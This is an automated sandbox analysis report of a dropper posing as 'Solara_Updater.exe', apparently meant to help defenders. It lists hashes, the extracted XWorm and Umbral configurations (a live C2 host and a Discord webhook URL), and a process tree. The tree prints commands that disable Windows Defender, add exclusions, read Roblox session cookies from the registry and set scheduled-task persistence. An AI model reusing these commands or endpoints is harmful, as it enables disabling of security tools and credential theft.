Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    19-05-2024 16:14

General

  • Target

    Solara_Updater.exe

  • Size

    1.9MB

  • MD5

    f4cffd7e6cca2b88bba1f19120e9255f

  • SHA1

    28df62794d325206d1f61a400b5c5c682632e371

  • SHA256

    4a10203f9773e4a4f5173a3d1840461bed2b6c206e16b47543bb127a541192bf

  • SHA512

    cb71ef2db087c012744fcac05033cab80947131029ae9bf59b57f85dd2f819e859f105919978a2af4334ac4b8f5b060f5f757b6898cb8fddd720a114b652bfe8

  • SSDEEP

    49152:mH4Y2d/Pz0dB5h1qeU2V0ZBsvH1jBOtGQt/3c5DGqHQX+icSr:mH/QPz0d/pV0AvHLDh5HH4+i

Malware Config

Extracted

Family

xworm

C2

answer-riverside.gl.at.ply.gg:45691

Attributes
  • Install_directory

    %AppData%

  • install_file

    svhost.exe

Extracted

Family

umbral

C2

https://discordapp.com/api/webhooks/1239665745831530598/iJT0OELt4O4igXW_VMu-CUIfcqaawXLhyC4Bruuv1t2x0XOvC0_p9dc-G_RxJMO7fn-V

Signatures

  • Detect Umbral payload 7 IoCs
  • Detect Xworm Payload 3 IoCs
  • Modifies WinLogon for persistence 2 TTPs 6 IoCs
  • Process spawned unexpected child process 18 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Xworm

    Xworm is a remote access trojan written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 5 IoCs
  • Drops startup file 2 IoCs
  • Executes dropped EXE 64 IoCs
  • Loads dropped DLL 59 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 13 IoCs
  • Looks up external IP address via web service 12 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Drops file in Windows directory 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 19 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 5 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs ping.exe 1 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 5 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
    "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2204
    • C:\Users\Admin\AppData\Local\Temp\Loader.exe
      "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1332
      • C:\Users\Admin\AppData\Local\Temp\XClient.exe
        "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
        3⤵
        • Drops startup file
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of AdjustPrivilegeToken
        PID:2020
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XClient.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:1596
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:2328
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svhost.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:2748
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:1912
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\svhost.exe"
          4⤵
          • Creates scheduled task(s)
          PID:1816
      • C:\Users\Admin\AppData\Local\Temp\RustCheat.exe
        "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"
        3⤵
        • Drops file in Drivers directory
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2816
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2004
        • C:\Windows\system32\attrib.exe
          "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"
          4⤵
          • Views/modifies file attributes
          PID:1652
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\RustCheat.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1728
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2380
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2332
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:720
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" os get Caption
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:900
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" computersystem get totalphysicalmemory
          4⤵
            PID:2312
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic.exe" csproduct get uuid
            4⤵
              PID:2260
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:268
            • C:\Windows\System32\Wbem\wmic.exe
              "wmic" path win32_VideoController get name
              4⤵
              • Detects videocard installed
              PID:2992
            • C:\Windows\system32\cmd.exe
              "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe" && pause
              4⤵
                PID:2948
                • C:\Windows\system32\PING.EXE
                  ping localhost
                  5⤵
                  • Runs ping.exe
                  PID:2672
          • C:\Users\Admin\AppData\Local\Temp\sol.exe
            "C:\Users\Admin\AppData\Local\Temp\sol.exe"
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:2888
            • C:\Windows\SysWOW64\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
              3⤵
                PID:2664
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                  4⤵
                  • Loads dropped DLL
                  PID:1596
                  • C:\hostNet\bridgeblockportComBroker.exe
                    "C:\hostNet/bridgeblockportComBroker.exe"
                    5⤵
                    • Modifies WinLogon for persistence
                    • Executes dropped EXE
                    • Adds Run key to start application
                    • Drops file in Program Files directory
                    • Drops file in Windows directory
                    • Modifies system certificate store
                    • Suspicious behavior: EnumeratesProcesses
                    PID:2300
                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zshxbpuc\zshxbpuc.cmdline"
                      6⤵
                        PID:2368
                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8C67.tmp" "c:\Users\Admin\AppData\Roaming\CSCFBCF61A8141645BEAB9116A612B9A.TMP"
                          7⤵
                            PID:1344
                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gnve3ylj\gnve3ylj.cmdline"
                          6⤵
                          • Drops file in System32 directory
                          PID:1408
                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8CA6.tmp" "c:\Windows\System32\CSC362901114F874F39A37D2928E62229.TMP"
                            7⤵
                              PID:268
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\X6ugBa7n7B.bat"
                            6⤵
                              PID:2556
                              • C:\Windows\system32\chcp.com
                                chcp 65001
                                7⤵
                                  PID:2560
                                • C:\Windows\system32\w32tm.exe
                                  w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                                  7⤵
                                    PID:2480
                                  • C:\Program Files (x86)\Common Files\Services\wscript.exe
                                    "C:\Program Files (x86)\Common Files\Services\wscript.exe"
                                    7⤵
                                    • Executes dropped EXE
                                    PID:1668
                        • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                          "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2364
                          • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                            "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                            3⤵
                            • Executes dropped EXE
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of WriteProcessMemory
                            PID:2552
                            • C:\Users\Admin\AppData\Local\Temp\XClient.exe
                              "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
                              4⤵
                              • Executes dropped EXE
                              • Suspicious use of AdjustPrivilegeToken
                              PID:2376
                            • C:\Users\Admin\AppData\Local\Temp\RustCheat.exe
                              "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"
                              4⤵
                              • Executes dropped EXE
                              PID:1544
                          • C:\Users\Admin\AppData\Local\Temp\sol.exe
                            "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                            3⤵
                            • Executes dropped EXE
                            • Suspicious use of WriteProcessMemory
                            PID:2632
                            • C:\Windows\SysWOW64\WScript.exe
                              "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                              4⤵
                                PID:2656
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                  5⤵
                                  • Loads dropped DLL
                                  PID:2148
                                  • C:\hostNet\bridgeblockportComBroker.exe
                                    "C:\hostNet/bridgeblockportComBroker.exe"
                                    6⤵
                                    • Executes dropped EXE
                                    PID:1692
                            • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                              "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                              3⤵
                              • Suspicious use of WriteProcessMemory
                              PID:1212
                              • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                4⤵
                                • Executes dropped EXE
                                PID:1488
                                • C:\Users\Admin\AppData\Local\Temp\XClient.exe
                                  "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
                                  5⤵
                                  • Executes dropped EXE
                                  PID:2644
                                • C:\Users\Admin\AppData\Local\Temp\RustCheat.exe
                                  "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"
                                  5⤵
                                  • Drops file in Drivers directory
                                  • Executes dropped EXE
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:2828
                                  • C:\Windows\System32\Wbem\wmic.exe
                                    "wmic.exe" csproduct get uuid
                                    6⤵
                                      PID:2028
                                    • C:\Windows\system32\attrib.exe
                                      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"
                                      6⤵
                                      • Views/modifies file attributes
                                      PID:1548
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\RustCheat.exe'
                                      6⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:544
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
                                      6⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:1980
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                      6⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:1712
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                      6⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:2704
                                    • C:\Windows\System32\Wbem\wmic.exe
                                      "wmic.exe" os get Caption
                                      6⤵
                                        PID:2604
                                      • C:\Windows\System32\Wbem\wmic.exe
                                        "wmic.exe" computersystem get totalphysicalmemory
                                        6⤵
                                          PID:2720
                                        • C:\Windows\System32\Wbem\wmic.exe
                                          "wmic.exe" csproduct get uuid
                                          6⤵
                                            PID:2612
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                            6⤵
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:2964
                                          • C:\Windows\System32\Wbem\wmic.exe
                                            "wmic" path win32_VideoController get name
                                            6⤵
                                            • Detects videocard installed
                                            PID:1780
                                          • C:\Windows\system32\cmd.exe
                                            "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe" && pause
                                            6⤵
                                              PID:2268
                                              • C:\Windows\system32\PING.EXE
                                                ping localhost
                                                7⤵
                                                • Runs ping.exe
                                                PID:484
                                        • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                          "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                          4⤵
                                          • Executes dropped EXE
                                          PID:1808
                                          • C:\Windows\SysWOW64\WScript.exe
                                            "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                            5⤵
                                              PID:1352
                                              • C:\Windows\SysWOW64\cmd.exe
                                                cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                6⤵
                                                • Loads dropped DLL
                                                PID:2532
                                                • C:\hostNet\bridgeblockportComBroker.exe
                                                  "C:\hostNet/bridgeblockportComBroker.exe"
                                                  7⤵
                                                  • Executes dropped EXE
                                                  PID:1624
                                          • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                            "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                            4⤵
                                              PID:1136
                                              • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                5⤵
                                                • Executes dropped EXE
                                                PID:2616
                                                • C:\Users\Admin\AppData\Local\Temp\XClient.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
                                                  6⤵
                                                  • Executes dropped EXE
                                                  PID:1256
                                                • C:\Users\Admin\AppData\Local\Temp\RustCheat.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"
                                                  6⤵
                                                  • Executes dropped EXE
                                                  PID:2476
                                              • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                5⤵
                                                • Executes dropped EXE
                                                PID:800
                                                • C:\Windows\SysWOW64\WScript.exe
                                                  "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                  6⤵
                                                    PID:768
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                      7⤵
                                                      • Loads dropped DLL
                                                      PID:2324
                                                      • C:\hostNet\bridgeblockportComBroker.exe
                                                        "C:\hostNet/bridgeblockportComBroker.exe"
                                                        8⤵
                                                        • Executes dropped EXE
                                                        PID:2960
                                                • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                  5⤵
                                                    PID:344
                                                    • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                      6⤵
                                                      • Executes dropped EXE
                                                      PID:2204
                                                      • C:\Users\Admin\AppData\Local\Temp\XClient.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
                                                        7⤵
                                                        • Executes dropped EXE
                                                        PID:2600
                                                      • C:\Users\Admin\AppData\Local\Temp\RustCheat.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"
                                                        7⤵
                                                        • Drops file in Drivers directory
                                                        • Executes dropped EXE
                                                        PID:2040
                                                        • C:\Windows\System32\Wbem\wmic.exe
                                                          "wmic.exe" csproduct get uuid
                                                          8⤵
                                                            PID:2748
                                                          • C:\Windows\system32\attrib.exe
                                                            "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"
                                                            8⤵
                                                            • Views/modifies file attributes
                                                            PID:2916
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\RustCheat.exe'
                                                            8⤵
                                                            • Command and Scripting Interpreter: PowerShell
                                                            PID:2080
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
                                                            8⤵
                                                              PID:1548
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                              8⤵
                                                                PID:908
                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                8⤵
                                                                  PID:2144
                                                                • C:\Windows\System32\Wbem\wmic.exe
                                                                  "wmic.exe" os get Caption
                                                                  8⤵
                                                                    PID:2868
                                                                  • C:\Windows\System32\Wbem\wmic.exe
                                                                    "wmic.exe" computersystem get totalphysicalmemory
                                                                    8⤵
                                                                      PID:2036
                                                                    • C:\Windows\System32\Wbem\wmic.exe
                                                                      "wmic.exe" csproduct get uuid
                                                                      8⤵
                                                                        PID:1976
                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                        8⤵
                                                                          PID:1936
                                                                        • C:\Windows\System32\Wbem\wmic.exe
                                                                          "wmic" path win32_VideoController get name
                                                                          8⤵
                                                                          • Detects videocard installed
                                                                          PID:2092
                                                                        • C:\Windows\system32\cmd.exe
                                                                          "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe" && pause
                                                                          8⤵
                                                                            PID:892
                                                                            • C:\Windows\system32\PING.EXE
                                                                              ping localhost
                                                                              9⤵
                                                                              • Runs ping.exe
                                                                              PID:2332
                                                                      • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                        6⤵
                                                                        • Executes dropped EXE
                                                                        PID:2196
                                                                        • C:\Windows\SysWOW64\WScript.exe
                                                                          "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                          7⤵
                                                                            PID:2692
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                              8⤵
                                                                              • Loads dropped DLL
                                                                              PID:568
                                                                              • C:\hostNet\bridgeblockportComBroker.exe
                                                                                "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                9⤵
                                                                                • Executes dropped EXE
                                                                                PID:2864
                                                                        • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                          "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                          6⤵
                                                                            PID:2708
                                                                            • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                              "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                              7⤵
                                                                              • Executes dropped EXE
                                                                              PID:1516
                                                                              • C:\Users\Admin\AppData\Local\Temp\XClient.exe
                                                                                "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
                                                                                8⤵
                                                                                • Executes dropped EXE
                                                                                PID:2156
                                                                              • C:\Users\Admin\AppData\Local\Temp\RustCheat.exe
                                                                                "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"
                                                                                8⤵
                                                                                • Executes dropped EXE
                                                                                PID:2160
                                                                            • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                              "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                              7⤵
                                                                              • Executes dropped EXE
                                                                              PID:3044
                                                                              • C:\Windows\SysWOW64\WScript.exe
                                                                                "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                8⤵
                                                                                  PID:2576
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                    9⤵
                                                                                    • Loads dropped DLL
                                                                                    PID:748
                                                                                    • C:\hostNet\bridgeblockportComBroker.exe
                                                                                      "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                      10⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:2172
                                                                              • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                7⤵
                                                                                  PID:332
                                                                                  • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                    8⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:1636
                                                                                  • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                    8⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:2160
                                                                                    • C:\Windows\SysWOW64\WScript.exe
                                                                                      "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                      9⤵
                                                                                        PID:3060
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                          10⤵
                                                                                          • Loads dropped DLL
                                                                                          PID:484
                                                                                          • C:\hostNet\bridgeblockportComBroker.exe
                                                                                            "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                            11⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:2624
                                                                                    • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                      8⤵
                                                                                        PID:1684
                                                                                        • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                          9⤵
                                                                                          • Executes dropped EXE
                                                                                          PID:2716
                                                                                        • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                          9⤵
                                                                                          • Executes dropped EXE
                                                                                          PID:1716
                                                                                          • C:\Windows\SysWOW64\WScript.exe
                                                                                            "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                            10⤵
                                                                                              PID:2768
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                11⤵
                                                                                                • Loads dropped DLL
                                                                                                PID:908
                                                                                                • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                  "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                  12⤵
                                                                                                  • Executes dropped EXE
                                                                                                  PID:1084
                                                                                          • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                            9⤵
                                                                                              PID:1208
                                                                                              • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                10⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:2712
                                                                                              • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                10⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:2024
                                                                                                • C:\Windows\SysWOW64\WScript.exe
                                                                                                  "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                  11⤵
                                                                                                    PID:1824
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                      12⤵
                                                                                                      • Loads dropped DLL
                                                                                                      PID:1304
                                                                                                      • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                        "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                        13⤵
                                                                                                        • Executes dropped EXE
                                                                                                        PID:2868
                                                                                                • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                  10⤵
                                                                                                    PID:2704
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                      "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                      11⤵
                                                                                                      • Executes dropped EXE
